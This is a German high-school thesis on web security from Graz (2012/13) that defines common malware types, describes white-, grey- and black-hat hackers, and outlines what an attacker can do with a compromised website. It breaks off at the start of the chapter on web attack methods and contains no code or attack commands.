Web-Sicherheit. Wie man Webanwendungen vor Angriffen schützen

Transcrição

Fachbereichsarbeit aus Informatik
am BRG Petersgasse 2012/13
John Soliman
Web-Sicherheit
Wie man Webanwendungen vor Angriffen schützen kann
Bundesrealgymnasium 8010 Graz, Petersgasse 110
Fachbereichsarbeit aus
Informatik
John Soliman, 8B
Web-Sicherheit
Wie man Webanwendungen vor Angriffen schützen kann
Betreuer/in: Mag. Peter Tschuffer
„Ich erkläre hiermit eidesstattlich, dass ich die Arbeit selbstständig und ausschließlich
unter Verwendung der angeführten Hilfsmittel verfasst habe.“
Abgegeben am: _______________
Unterschrift: ___________________________
Inhaltsverzeichnis
Seite 2
Inhaltsverzeichnis
EINLEITUNG – 3
1
1.1
1.1.1
1.1.2
1.2
1.3
1.4
1.5
2
AUSWIRKUNGEN MANGELNDER SICHERHEIT – 13
2.1
Was möchte man schützen? – 13
2.2
Hacker ist nicht gleich Hacker – 14
2.3
Worst-Case-Szenario – 14
3
3.1
3.2
3.3
3.3.1
3.4
3.5
3.6
3.7
3.8
3.9
3.9.1
4
DIE MÖGLICHEN ÜBELTÄTER – BEGRIFFSDEFINITIONEN – 4
Was ist ein Virus? – 4
Was ist ein Wurm? – 6
Was ist ein Trojaner? – 7
Was ist ein Rootkit? – 8
Was ist Spyware/Adware? – 9
Was ist Scareware? – 11
Was ist Grayware? – 12
WIE KÖNNEN ANGRIFFE AUF WEB-ANWENDUNGEN ERFOLGEN? – 15
Unsichere Konfiguration – 16
Cross Site Scripting (XSS) Schwachstellen – 17
Cross Site Request Forgery (CSRF) – 18
Clickjacking und Weiterleitungen – 21
Path-Traversal-Schwachstellen – 23
Unsichere direkte Objektreferenzen – 25
Das Passwort-Dilemma – 26
Session-Hijacking – 28
SQL-Injection – 32
DoS-Angriffe – 34
ReDoS-Angriffe – 35
WIE KANN MAN WEB-ANWENDUNGEN SCHÜTZEN? – 37
4.1
Das Konzept der Verteidigungslinien – 37
4.2
Grundlegende Sicherheitsmaßnahmen – 38
ABSTRACT – 40
LITERATURVERZEICHNIS – 41
ANHANG – 43
PROTOKOLL – 44
Einleitung
Seite 3
Einleitung
Viele werden schon mal erlebt haben, wie der eigene Rechner oder der eines Bekannten kompromittiert wurde. Nachdem mir das zum ersten Mal passiert ist, habe ich mich mit diesem
Thema grundlegend beschäftigt und auch Spaß beim Entwickeln eigener Lösungen und Anwendungen gefunden, die jedem frei zugänglich sein sollten.
Da man solche Projekte am besten mit einer guten Website vermarktet, habe ich mich entschlossen IT-Sicherheit und Webdeveloping zu kombinieren, um der „sicheren Webentwicklung“ näher zu kommen.
Ich möchte mit meiner FBA zum Thema Web-Sicherheit nicht nur auf die Bekämpfung von
Schadsoftware, sondern viel mehr auch auf den Ablageplatz von solcher eingehen und erläutern, wie man als Webentwickler seinen eigenen Webauftritt vor solchem Missbrauch schützen kann.
Um am besten zu dieser Thematik vorzustoßen, wird in den ersten zwei Kapiteln erklärt, was
Schadsoftware ist, wie solche vorgeht und welcher Schaden entstehen kann.
Dieses Basiswissen, das vorwiegend für Laien gedacht ist, muss man zunächst verstanden
haben, um sich mit der Problematik des Missbrauchs von Webseiten als Ablageplatz von
Schadsoftware zu beschäftigen.
In den nächsten Kapiteln wird darauf eingegangen, wie Internetseiten angegriffen und beispielsweise dazu missbraucht werden können, um Schadsoftware zu verbreiten.
Abschließend werden einige Lösungsansätze vorgestellt, die natürlich nicht alle Risiken eindämmen können.
An dieser Stelle möchte ich mich noch herzlich bei meinem Betreuer Mag. Peter Tschuffer
bedanken, der mich tatkräftig bei meiner Arbeit unterstützt hat.
Die möglichen Übeltäter – Begriffsdefinitionen
Seite 4
1. Die möglichen Übeltäter – Begriffsdefinitionen
Diverse Begriffe wie Virus, Wurm, Trojaner verfolgen jeden Internetbenutzer, darunter sind
natürlich viele, die die Gefahren im Internet beschreiben. Dennoch haben viele Laien nur eine
ungefähre Vorstellung darüber, was sich hinter diesen Begriffen verbirgt. Um zu verstehen
wie Websites effektiv geschützt werden, muss zunächst geklärt werden, wovor überhaupt
Schutz gesucht wird und was diese Begriffe nun tatsächlich bedeuten.
1.1 Was ist ein Virus?
Das, wie jede Schadsoftware, zur Kategorie Malware (= der richtige Begriff für alle schädlich
handelnden Anwendungen, engl. malicious software) gehörende Schadprogramm „Virus“ ist
eines der bekanntesten Softwarekonzepte, um einen fremden Computer zu kontrollieren und
zu manipulieren. Der Begriff „Virus“ wird auch fälschlicherweise für Computerwürmer, Trojaner oder andere Schadsoftware gebraucht, obwohl diese Bedrohungen ähnliche oder andere
Verhaltensmerkmale aufweisen.
Ein Virus hat keinen eigenen Mechanismus zur Verbreitung, es ist von ausführbaren Inhalten
(einem „Wirtsprogramm“) abhängig, daher stammt auch der Terminus Virus, wie man vermuten kann, vom biologischen Namensgeber. (Vgl. Ewald01, Schiwek, Töpfer/Huber)
Zur Verbreitung fügt sich das Schadprogramm in andere noch nicht infizierte ausführbare
Inhalte, wie Programmdateien, Bibliotheken, Skripte, Dokumente, Makros oder Bootsektoren,
selbst hinzu, diese sind dann infiziert und zählen dann als selbstständige Computerviren.
Die Verbreitung auf andere Systeme wird nicht angestrebt, kann aber durch das Kopieren
infizierter Inhalte auf ein anderes System durchaus geschehen, aber ist nur erfolgreich, wenn
diese/r Inhalt/e tatsächlich auf jenem anderen System gestartet wird/werden, entweder auf
Befehl eines Benutzers oder von dessen Betriebssystem aus.
Computerviren sind nicht dafür konzipiert, sich auf möglichst vielen Rechnern zu verbreiten,
sondern dienen oft nur dem Zweck einen einzelnen Rechner auf Softwareebene stark zu manipulieren oder zu beschädigen und den/die Benutzer zu behindern.
Durch die Ausführung infizierter Inhalte wird die Desinfektion dieser erheblich erschwert, da
laufende Prozesse nicht entfernt werden können, bevor sie terminiert (= gestoppt) wurden.
Seite 5
Einige Virenvarianten bevorzugen die folgenden Vorgehensweisen:
-
Das Bootvirus infiziert, wie es der Name schon sagt, Bootsektoren. Das sind Bereiche
auf dem Laufwerk, über die das Starten des Betriebssystems vorbereitet wird. So kann
das Virus schon vor dem Start des eigentlichen Betriebssystems eingreifen und eventuelle Schutzmaßnahmen umgehen.
-
Datei- und Linkviren, welche am häufigsten vorkommen, infizieren Programmdateien und Bibliotheken und sorgen entweder dafür, dass diese Dateien beim nächsten
Programmstart ausgeführt werden oder dass diese Dateien dem Benutzer so gut wie
möglich täuschend vorgeführt werden, damit er sie im Unwissen selbst öffnet.
-
Makroviren können sich in nahezu alle Office-Dokumente einschleusen und über
Mailversand effektiv verbreitet werden, da viele Benutzer keine Schadsoftware in solchen Dokumenten vermuten.
-
Skriptviren schleusen sich vor allem in Webseiten ein, da Internetseiten teilweise viele Skripte und Funktionen benötigen, um eine dynamische Umgebung anzubieten. Es
wird zusätzlich zu diesen Funktionalitäten ein weiteres Skript eingefügt, das schädliche Aktionen heimlich oder auffallend durchführt. (Vgl. Regenfelder, Schiwek)
Es existieren außerdem Mischvarianten von Computerviren und/oder anderer Malware (sogenannte Hybride), die mehrere Vorgänge kombinieren, um umso erfolgreicher zu sein. (Vgl.
Regenfelder, Schiwek)
Antivirenscanner sind darauf spezialisiert Computerviren, Computerwürmer und Computertrojaner aufzuspüren und zu blockieren oder zu eliminieren. Daher sollte jeder Benutzer auf
alle Fälle ein Antivirenprogramm auf allen Rechnern installiert haben, aber auch sicher gehen,
dass es von einer vertrauenswürdigen Quelle und einem seriösen Hersteller stammt und diese/r Benutzer/in nicht Opfer einer Variante von Scareware (= falscher Anti-MalwareSoftware) ist, die ihm/ihr falsche Versprechen geben, wie unter anderem: zu 100 % alle Malwarevarianten erkennen zu können oder an ihrem Computer Fehler beheben zu können, die
gar nicht existieren!
Es gibt kein Produkt, dass alle Schädlinge entdecken kann, da täglich neue Schadsoftware
publiziert wird, und auch wenn sich die Hersteller von Antimalwarelösungen bemühen täglich
neue Aktualisierungen anzubieten, so können sie dem Ansturm nicht zu 100 % nachkommen.
Seite 6
Trotzdem ist es wichtig, sowohl das Betriebssystem, als auch die Antimalwarescanner stets
aktuell zu halten, um Angreifern weniger Chancen zu geben.
Um die Installation von vieler Art Schadsoftware schon präventiv verhindern zu können, kann
man zusätzlich als Benutzer mit eingeschränkten Rechten arbeiten, da diese keine Software
installieren können. Man kann auch mit von CD oder USB aus startenden Live-Systemen arbeiten, da diese das Speichern von Dateien auf Festplatten nicht erlauben. Außerdem sollte
man im Browser Javascript, Java, Active-X-Steuerelemente weitestgehend richtig und passend einstellen, um die Ausführung bösartiger Skripte zu verhindern.
Da der größte Schaden oft vom unwissenden Benutzer verursacht wird, gilt es, sich auch über
Schadsoftware zu informieren und niemals Inhalte von unbekannten Quellen auszuführen.
Trotz allem kann nie für eine hundertprozentige Sicherheit garantiert werden und daher sind
regelmäßig Sicherungen Pflicht, damit diese im Notfall zur Verfügung stehen und kein Datenverlust auftritt. (Vgl. Schiwek)
1.1.1 Was ist ein Wurm?
Computerwürmer sind Computerviren sehr ähnlich. Sie weisen nur einen markanten Unterschied zum Computervirus auf: Würmer versuchen sich aktiv weiterzuverbreiten und sind
daher nicht an ein Wirtsprogramm gebunden. Ein Computerwurm soll möglichst viele Rechner in kurzer Zeit infizieren und daher eine hohe Anzahl an Rechnern manipulieren und kontrollieren. (Vgl. Ewald01)
Das lässt sich nicht wie bei einem Virus damit bewerkstelligen, die Ausführung der Schadsoftware und ihren Kopiervorgang auf andere Rechner abzuwarten. Daher werden Würmer so
entwickelt, dass sie für eine Installation keinen Eingriff eines Benutzers brauchen bzw. sich
automatisch installieren. (Vgl. Steiner)
Zur Verbreitung nutzen Computerwürmer in vielen Fällen bekannte Sicherheitslücken im
System aus, da es dadurch am einfachsten möglich ist, viele Rechner mit der gleichen Betriebssystemversion binnen kurzer Zeit zu attackieren. Die Anfälligkeit eines Computers für
solche und andere Schadsoftware ist schon nach Verbindung zum Internet gegeben.
Das wiederum macht Würmer für die Errichtung eines Botnetzwerks ideal und erklärt warum
viele Botnetzbetreiber oft Würmer verwenden. (Vgl. Schiwek)
Seite 7
Ein Botnetzwerk oder ein Netzwerk von Zombie-Rechnern ist ein Zusammenschluss von
zahlreichen infizierten und kontrollierbaren Rechnern, die auf Befehl eines Masterservers
bestimmte Aktionen durchführen, wie zum Beispiel gezielte Angriffe auf bestimmte Internetseiten. Solche Netzwerke sind für Hacker sehr lukrativ und werden oft für sehr viel Geld weiterverkauft! (Vgl. Kogut)
1.1.2 Was ist ein Trojaner?
Ein Trojaner oder Trojanisches Pferd ist ein Schadprogramm, das ebenso wie Virus und
Wurm erheblichen Schaden anrichten kann, aber dabei gut getarnt vorgeht. Im Gegensatz zu
Virus und Wurm erstellt der klassische Trojaner keine Kopien oder Abbilder von sich selbst
im Dateisystem des Wirts und ist nicht auf die Ausbreitung auf andere Rechner aus und nicht
von einem Wirtsprogramm abhängig. (Vgl. Ewald01)
Die Klassifizierung eines Trojaners hat sich aber doch im Laufe der Jahre etwas geändert, da
es ziemlich schwer ist, zwischen Virus, Wurm und Trojaner zu unterscheiden, da die Definitionen für diese Schadprogramme doch sehr verschwimmen, weil immer mehr Mischvarianten
überwiegen und die klassischen Formen nur selten oder vereinzelt vorkommen. So werden
heutzutage Trojaner immer mehr mit Spionagesoftware in Verbindung gebracht, was der klassische Trojaner jedoch nicht zwingend ist. (Vgl. Gräfer)
Ausgehend vom Namen und dessen historischen Namensgeber aus dem Trojanischen Krieg,
ist ein Programm dann ein Trojanisches Pferd, wenn es Aktionen durchführt, für die es nicht
vorgesehen ist und für diese Zusatzaktionen Funktionalitäten besitzt, die dem Benutzer überhaupt nicht ersichtlich sind. So kann jede noch so vertrauenswürdige Anwendung ein Trojaner sein oder werden, wenn der Hersteller beispielsweise ohne Zustimmung und Kenntnisname des Anwenders Daten von diesem in irgendeiner Form weiterverbreitet, liest oder verwendet, auch wenn es nur Daten zur Benutzung und/oder Verbesserung der Anwendung sind
und die Anwendung keine Funktionsbeeinträchtigung für den Computer des Anwenders
und/oder Schaden für den Anwender darstellt, sondern sogar ihre ersichtliche und vom Benutzer gewünschte Aufgabe erfüllt und somit überaus von Nutzen sein kann.
Mehrere False-Positive-Vorfälle (= falsche Erkennungen) von der Avira Operations GmbH &
Co. KG und anderen Unternehmen haben diese Definition bestätigt.
So gab und gibt es immer wieder in zahlreichen ausführbaren Anwendungen versteckte
Seite 8
Funktionen, die manchmal prompt von der Heuristik eines Virenscanners als schädlich eingestuft werden und in Folge das Programm als Trojaner klassifiziert wird. Viele Programmierer
müssen deswegen oft eine Fehlermeldung bei den zuständigen Herstellern der Antivirenprogramme melden, damit ihr Programm genauer in Augenschein genommen wird.
Trojaner können und stellen aber doch meistens eine Gefahr für den Benutzer dar, da es oft
Anwendungen sind, die schädliche Aktionen durchführen, wie zum Beispiel zahlreiche Internetfenster (sogenannte „Popups“, siehe Kap 2.3 zu Spyware/Adware) öffnen, um somit die
Produktivität zu senken, den Einwahlvorgang des Modems zu einer kostenpflichtigen Wahlnummer zu ändern, sodass für den Benutzer hohe Kosten entstehen (sogenannte „Dialer“),
persönliche Daten zu sammeln, um diese weiterzuleiten, zu verkaufen oder in Spam-E-Mails
zu verwenden, andere Rechner zu attackieren, indem Spam-E-Mails versendet werden, für
einen DDoS-Angriff (Distributed Denial of Service) verwendet werden und um so bestimmte
Internetseiten außer Gefecht zu setzen. (Vgl. Gräfer)
Leider kommen Trojaner heutzutage sehr oft vor. Ihre Verbreitungswege beschränken sich
nicht nur auf Webseiten, E-Mails und Newsgruppen.
Viren und Trojaner breiten sich im Gegensatz zu den Würmern nicht aktiv aus. Da
beide an einen Wirt gebunden sind, können sie die physikalischen Grenzen eines
Computers nur sprengen indem ihr Wirt z.B. als Attachment per eMail versendet wird.
[…] Überall dort, wo viele Benutzer in Kontakt geraten, sei es ein Peer-to-Peer
Netzwerk, im Internet-Relay-Chat oder im Instant Messenger, gibt es für die Schädlinge eine besonders einfache Weise neue Wirte zu finden. (Ewald02)
1.2 Was ist ein Rootkit?
Ein Rootkit (englisch etwa: „Administratorenbausatz“; root: Benutzer mit Administratorrechten) ist eine Sammlung von Softwarewerkzeugen, die vorrangig dazu dienen
die ferngesteuerte Bedienung (Backdoor) eines Rechners und das Ausspähen installierter Software inklusive Passwörtern zu ermöglichen. (TrojanBoard01)
Rootkits sind sehr gut getarnte Anwendungen, die sich tief im Betriebssystem installieren, als
Systemdateien verstecken und einem möglichen Angreifer die Kontrolle eines Computers
ermöglichen können inklusive Administratorrechten. Das heißt, dass der vermeintliche Angreifer nicht nur den Rechner fernsteuern und sensitive Daten ausspähen kann, wie es auch
bei einem Trojaner möglich ist, sondern alles am System kontrollieren, ausführen und nach
Belieben verändern kann, so zum Beispiel auch problemlos Softwareinstallationen und Dateioperationen, ganz gleich, ob der Benutzer nur ein beschränktes Anmeldekonto verwendet.
Seite 9
Nichtsdestotrotz dient ein Rootkit meistens nur dem Zweck, Malware vor Antimalwarescannern zu verbergen und dem Benutzer ein sicheres System vorzugaukeln. Es gibt aber wie
beim Trojanischen Pferd durchaus legitime Varianten und Verwendungszwecke, wie in diesem Fall in Kopierschutzmechanismen oder Bildschirmübertragungssoftware. (Vgl. TrojanBoard01, Munk)
Ein Rootkit kann sich, wie der klassische Virus oder Trojaner, nicht selbstständig ausbreiten,
sondern muss auf die Ausführung von infizierten Inhalten warten, die meistens ihren Ursprung im Internet haben. Es reicht das Öffnen von E-Mails, Webseiten, Musikdateien oder
Dokumenten, Bildern, Bildschirmschonern oder eines anderen systemfremden Objekts.
Deshalb ist das Einblenden der Dateiendung immer sinnvoll, selbst wenn gut programmierte
Schadsoftware ebenfalls die echte Dateiendung eines imitierten Inhalts haben kann. (Vgl.
Munk, TrojanBoard01)
Einmal gestartet verursacht ein Rootkit einen Buffer-Overflow (Puffer-Überlauf oder Überlastung des Speichers), der das eigentliche Schadprogramm dann in den Speicher lädt. (Vgl. TrojanBoard01)
Ist ein Rootkit erst einmal aktiv, so kann es aus dem laufenden System heraus schwierig bis unmöglich sein, die dazugehörigen Prozesse und Dateien ausfindig zu machen,
weil das Rootkit im Hintergrund dem System falsche Tatsachen vorgaukelt – ein solches System ist nicht mehr vertrauenswürdig. (TrojanBoard01)
1.3 Was ist Spyware/Adware?
Seit geraumer Zeit wird in der IT-Sicherheit immer mehr von Spyware und Adware geredet.
Spyware ist eine ernsthafte Bedrohung geworden und ist ein Begriff für Applikationen, die
zur Spionage entworfen wurden.
Spyware ist meistens keine eigenständige Software, sondern wie ein Trojaner ein versteckter
Teil eines anderen Wirtsprogramms, der einen Zusatznutzen, wie zum Beispiel die lokale
Wettervorhersage mit Temperaturanzeige verspricht. Dieser Teil sammelt Informationen über
den Rechner, die installierten Programme, die Surfgewohnheiten und Vorlieben des Users etc.
und übermittelt sie einem Anbieter ins Internet. (Vgl. Werz, Wohlgemuth)
Seite 10
Adware hingegen bezeichnet Software, die dauernd Werbung einblendet. So kann ein Trojaner, wie bereits erwähnt, so genannte „Popups“ einblenden und daher auch AdwareFunktionalität enthalten.
Spyware und Adware stehen oft miteinander in Verbindung, da Spyware beispielsweise
Suchanfragen und Gewohnheiten ausspioniert, um einer Adware zu ermöglichen, zu einem
oft gesuchten Thema relevante oder ähnliche Werbungen einzublenden. Dieses Vorgehen
erhöht die Wahrscheinlichkeit, dass unvorsichtige Benutzer solche Werbeflächen anklicken.
Es kann sich alles Mögliche hinter der geöffneten Werbefläche verbergen. Um einige Möglichkeiten zu nennen, kann ein geöffneter Adware-Link zu einer unseriösen Webseite führen,
die den/ie Besucher/in automatisch oder unauffällig nach einer bestimmten Benutzerinteraktion bei unbekannten und nicht gewünschten Angeboten anmeldet (= Form des „Clickjackings)
oder eine Schadsoftware, ohne jegliche Benutzerinteraktion zu benötigen, herunterlädt (sogenannte „Drive-By-Downloads“).
Auffallend ist, dass Spyware immer öfter nicht nur in unseriösen, sondern auch zusätzlich in
legitimen und populären Programmen steckt, weil die Hersteller dadurch ihre (meistens kostenlosen) Programme finanzieren. Viele unvorsichtige Besucher begehen den Fehler, den
Herstellern zu viel Vertrauen zu schenken und schnell und unbedacht Software zu installieren,
ohne die Optionen der Installationsanwendung und/oder die Lizenzvereinbarung zu lesen und
somit ungewünschte Programme mitinstallieren! Zum Beispiel wird heute in vielen legitimen
Programmen zusätzlich die fragwürdige Ask.com Toolbar angeboten (Avira Anti Virus, Java,
Trillian, Nero, u.v.a.), die von manchen Scannern als Spyware erkannt wird oder lange Zeit
wurde (z.B. Spybot – Search & Destroy), aber im Allgemeinen als harmlos, aber hartnäckig
zu entfernen eingestuft wird.
Doch es gibt auch viele Installationen, die nicht mal die Option, das Spyware/Adware - Modul von der Installation auszuschließen, anbieten und installieren dieses automatisch mit, da
die Hersteller das Ausschließen oder Entfernen dieser Module ausdrücklich verbieten wollen.
„[…] wie eingangs schon erwähnt „sitzt“ Spyware als lästiges Anhängsel in einem
‚Wirtprogramm’, das als ganz normale Anwendung fungiert. Entfernt man das
Spyware-Modul aus dem Programm, kann es sein, dass die Anwendung ihren Dienst
versagt.
Seite 11
In mancher Software ist sogar per EULA (End User License Agreement) geregelt,
dass die Spyware nicht entfernt werden darf. Tut man es doch, macht man sich strafbar. In solchen Fällen sollte man von vornherein die Finger von solchen Programmen
lassen.“ (Wohlgemuth)
Daher ist Spyware meistens nicht leicht aufzuspüren, aber man kann zumindest mit einer
richtg konfigurierten Firewall (= Software, die eingehende und ausgehende Verbindungen
kontrolliert) den Austausch von privaten Informationen verhindern und dubiosen Verbindungsaufbau verhindern und mit vorsichtigem Surfen und Installieren große Übel im Vorhinein abwenden. Zusätzlich darf auf Anti-Spywareprogramme nicht verzichtet werden, denn
gewöhnliche Antivirenprogramme, bieten oft gar keinen oder einen mangelnden Schutz vor
Spyware/Adware an!
1.4 Was ist Scareware?
Scareware ist Software, die Anwender dazu verleiten soll in Angst zu geraten, um bestimmte
Instruktionen des Herstellers hilflos zu befolgen. Dieses Vorgehen wird auch „Social Engineering“ oder „Social Hacking“ genannt. Meistens versuchen Script-Kiddies (Menschen, die
nur die Werke von professionellen Hackern kopieren und/oder verwenden, ohne sich mit deren Funktionalitäten auszukennen) oder versierte Hacker dadurch möglichst viele Anwender
dazu zu bringen, ihnen Geld zu überweisen oder private oder spezielle Informationen preiszugeben. (Vgl. Kübeck 2011, 37-38)
Das wird durch viele verschiedene Methoden bewerkstelligt. So bedienen sich manche Scareware-Varianten des Autostarts: Starten automatisch mit dem Betriebssystem nach dem
Bootvorgang, laden bei Ausführung ein Fenster, dass den kompletten Bildschirminhalt überdeckt und sperren systeminterne Methoden, die Auswege bereitstellen, um dieses Dialogfenster zu schließen. In diesem Dialog heißt es dann, dass das System nach Eingabe und Validierung eines Codes freigegeben wird, den man ausschließlich käuflich vom Hacker erwerben
kann und zusätzlich werden Zahlungsmöglichkeiten angeboten wie im Falle der FBIScareware, die 2012 erschienen ist. (Vgl. Patterson)
Andere Varianten täuschen ein infiziertes System vor, dass man nur durch den Erwerb eines
speziellen Produkts reparieren kann. Bei dem besagten Produkt handelt es sich aber meistens
Seite 12
um eine Fraud Anti Malware (falsche Anti Malwaresoftware), die keine Schädlinge entfernen
kann, sondern dies nur angibt und/oder in Wirklichkeit eventuell Schädlinge dazuinstalliert.
In letzter Zeit häufen sich Varianten an, die durch einfache oder bis jetzt unknackbare Verschlüsselung von Dateien, die natürlich der Anwender nicht verlieren möchte, den Anwender
erpressen. Solche Scareware wird auch Ransomware genannt. (Vgl. TrojanBoard02)
Laien fallen auf Scareware dadurch sehr schnell herein, weil sie keinen anderen Ausweg sehen, und lassen sich erpressen, den Anweisungen der Hacker zu folgen. Doch auch wenn diese Anweisungen befolgt werden, heißt es nicht, dass die Gegenseite sich kooperativ zeigen
wird! Die Angst vor Datenverlust ist vor allem bei den Menschen groß, die keine Sicherungen
(Backups) anlegen, aber auch die Angst vor Weitergabe von sensiblen Daten, die Angst, dass
die Scareware im Hintergrund noch andere Aktionen durchführt oder der Zeitdruck, das System so schnell wie möglich wieder funktionstüchtig zu machen, bei Privatpersonen oder bei
Unternehmen kann dafür sorgen, den Hackern klein beizugeben.
Nichtsdestotrotz gibt es natürlich für jede von den Hackern gewählte Methode früher oder
später doch einen Ausweg, wie bei der Verschlüsselungsvariante eine Entschlüsselungssoftware, sofern man den Dekodierungsschlüssel herausfinden konnte, bei der Autostartvariante,
den Start im abgesicherten Modus oder das Booten von einer Recovery CD, einem USB-Stick
oder eines zweiten Betriebssystems und die Entfernung der Scareware von dort aus, usw.
Falls es wirklich ausweglos erscheint, eine Scareware loszuwerden, so bleibt noch immer die
Neuinstallation des Betriebssystems und sofern eine Sicherung vorhanden ist, gibt es sogar
keinen Datenverlust.
1.5 Was ist Grayware?
Grayware ist ein allgemeiner Begriff, mit dem Anwendungen bezeichnet werden, die nicht
wie Malware schädlich, aber störend oder ungewünscht sind und teilweise ohne Zustimmung
des Benutzers installiert werden und Rechenleistung vermindern und Ressourcen verbrauchen.
Riskware sind Programme, die zwar nicht dafür programmiert wurden, um Schaden anzurichten, aber sicherheitskritische Funktionalitäten aufweisen, die schädliche Anwendungen missbrauchen könnten. Riskware kann von Malware installiert werden, um Anti-Malwarescannern
Auswirkungen mangelnder Sicherheit
Seite 13
vorzutäuschen, dass die Malware selbst keine Malware ist. Riskware ist so gesehen auch
Grayware, welche aber eine gewisse sicherheitsspezifische Gefahr bietet.
2. Auswirkungen mangelnder Sicherheit
Die Basiskenntnisse sind mit den Begriffsdefinitionen geklärt. Teilweise wurden auch schon
viele Folgen einer Verharmlosung der Thematik aufgezeigt, aber es bleibt noch die Frage offen, was Malware bei Websites zu suchen hat und was geschehen kann, sofern eine Website
mangelhaft oder gar nicht geschützt ist.
2.1 Was möchte man schützen?
Die Begriffsdefinitionen haben bereits gezeigt, dass Malware schwerwiegende Auswirkungen
auf Computer haben kann, aber was soll Malware mit einer Website anstellen? Hinter jeder
Website verbirgt sich ein Webserver, ohne den es die Website gar nicht geben würde. Ein
Webserver ist nichts anderes als ein eigenständiger Computer, der mit dem Internet 24 Stunden am Tag verbunden ist und über eine Webserver-Software die Website im Internet weltweit bereitstellt. Theoretisch kann jeder private funktionstüchtige Computer als Webserver
dienen, sofern die Anbindung ins Internet unterstützt wird. So wie jeder Computer sind auch
Webserver vor Malware zu schützen und können von Malware in jeglicher Form manipuliert
werden. Alleine die Verbindung zum Internet bietet demnach schon ein hohes Risiko, da der
Webserver Tag und Nacht online ist und Hacker genügend Zeit haben Schwachstellen ausfindig zu machen und die Website oder den Computer zu kontrollieren. (Vgl. Wischnewski)
Eine Website besteht aus vielen Webseiten/Internetseiten, die alle zumindest in HTML (=
Hypertext Markup Language) vorliegen müssen, damit der Browser (Computerprogramm
zum Betrachten von Internetseiten) eines Besuchers die Internetseite richtig strukturiert und
wiedergibt. HTML dient zwar der richtigen Strukturierung einer Internetseite, aber es gibt
noch andere clientseitige Skriptsprachen (werden beim Benutzer/Client übersetzt) wie CSS
oder Javascript, die dem Webserver mit der entsprechend konfigurierten Webserver-Software
das Strukturieren zusätzlich erleichtern können und dem Gestalter mehr Möglichkeiten bieten,
die mit HTML alleine schwer zu bewerkstelligen sind. Außerdem gibt es auch serverseitige
Skriptsprachen (werden beim Servercomputer übersetzt), mit denen die Umsetzung großer
Internetportale stark vereinfacht wird und dynamische Websites ohne große Mühen erzeugt
Seite 14
werden können. Darunter zählen ASP, Perl, PHP, Python und viele mehr. Wie bei allen Programmier- und Auszeichnungssprachen werden zwar zahlreiche Möglichkeiten geschaffen,
aber auch viele Ansatzpunkte zur Manipulation ermöglicht.
2.2 Hacker ist nicht gleich Hacker
Sofern eine Website von einem Hacker erfolgreich übernommen wurde, kann dieser alles damit anstellen. Websites sind ein sehr lukratives Ziel für jeden Hacker, da diese Speicherplatz
(Webspace) bereitstellen, auf dem von überall zugegriffen werden kann. Da in der Informationssicherheit zwischen 3 verschiedenen Hackertypen unterschieden wird, wird auch zwischen
ihrem Verhalten und Nutzen des Speicherplatzes unterschieden.
Ein White-Hat Hacker verschafft sich Zugriff zu einer Website, um den Seiteninhabern Sicherheitslücken vorzuweisen. Dieser Typ Hacker beabsichtigt nicht den Webadministrator
Schaden zuzufügen, führt lediglich meistens vereinbarte Penetrationstests durch. (Vgl.
Charles)
Ein Grey-Hat Hacker dringt in eine Website ein, um ein höheres Ziel zu erreichen. Dieser Typ
Hacker ist eine Mischform aus Black-Hat und White-Hat. Er zeigt beispielsweise auch Sicherheitslücken auf, um ein Leugnen des Webadministrators zu beweisen und die Verantwortlichen dazu zu bewegen etwas zu unternehmen oder handelt aus sozialen oder politischen
Gründen und/oder Vorstellungen heraus (z.B. die Gruppierung „Anonymous“). Er ist nicht
auf persönlichem Profit aus und beabsichtigt nicht dem Administratoren zu schaden, sondern
strebt Veränderungen an, die er aber manchmal nur auf kriminellem Wege zu erreichen vermag. (Vgl. Charles)
Ein Black-Hat Hacker (= Cracker) beabsichtigt mit dem Einbruch in eine Website durch kriminelle Handlungen persönlichen Gewinn zu erzielen. (Vgl. Charles)
2.3 Worst-Case-Szenario
Ein Black-Hat Hacker benutzt aktiv den ihm zur Verfügung stehenden Speicherplatz. Einerseits kann er durch mangelhafte Überprüfung (von Eingabefeldern), mangelhaften Schutz und
falsche bzw. unvorsichtige Benutzung von Skriptsprachen eine oder mehrere Webseite/n nach
Seite 15
seinem Belieben verändern und/oder erstellen, andererseits, wenn er ein Download/UploadFormular missbraucht oder sich eines FTP (File Transfer Protocol = Protokoll zur kennwortgesicherten Dateiübertragung) Kontos ermächtigen kann, kann er Dateien hoch- und/oder
herunterladen.
Dadurch eröffnen sich dem Cracker unvorstellbare Möglichkeiten:
-
Er kann Schadsoftware aktiv (durch eine Aufforderung zum Herunterladen oder Installieren eines Objekts) oder passiv (Drive-by-Downloads = ein Herunterladen von
Schadsoftware ohne Benutzerinteraktion) verbreiten und in Folge dessen die Computer der Besucher übernehmen. Er könnte außerdem alle diese Computer verwenden,
um ein Botnetzwerk zu bilden, um dadurch andere Ziele zu erreichen, wie beispielsweise den größer angesetzten Angriff auf eine Website oder den Verkauf dieses Botnetzwerks. Er kann alle im vorigen Oberkapitel besprochenen Angriffswege anwenden! (Vgl. Kübeck 2011, 41)
-
Er kann ebenfalls Spam-Nachrichten verschicken, sei es an Besucher, die eine Schadsoftware unbeabsichtigt installiert haben oder an Personen, die noch nie diese Website
besucht haben, aber deren E-Mail Adressen bereits zuvor von anderen Quellen aufgesammelt wurden. (Vgl. Kübeck 2011, 42)
-
Er kann Phishing betreiben. Das heißt, er könnte eine seriöse Website imitieren, um
Anmeldedaten von unvorsichtigen Besuchern zu speichern und zu erlangen. Sofern er
das mit beispielsweise Bankkunden bewerkstelligen kann, könnte er ohne Probleme
Geld hin- und hertransferieren. (Vgl. Kübeck 2011, 42)
-
Er kann illegale Daten und pornografisches Material ungehindert verbreiten und anbieten oder ebenso Passwörter und persönliche Daten veröffentlichen oder weiterverkaufen. (Vgl. Kübeck 2011, 42-43)
-
Im allerschlimmsten Fall ermächtigt sich der Cracker des kompletten Verzeichnisbaums oder des FTP-Accounts (= Anmeldekonto) des Webadministrators und kann
auf die gesamte Verzeichnisstruktur der Website eingreifen und beispielsweise das
Passwort ändern und somit die Website komplett übernehmen. Dann hilft nur noch die
Abschaltung des Webservers. (Vgl. Kübeck 2011, 41-46)
Erwartungsgemäß ergeben sich daraus ein großer betrieblicher und kostspieliger Schaden und
ein eventueller Rufmord für Unternehmer bzw. größere Konzerne. (Vgl. Kübeck 2011, 45)
Wie können Angriffe auf Web-Anwendungen erfolgen?
Seite 16
3. Wie können Angriffe auf Web-Anwendungen erfolgen?
Um zu verstehen, wie man Web-Anwendungen effektiv schützen kann, ist es am besten sich
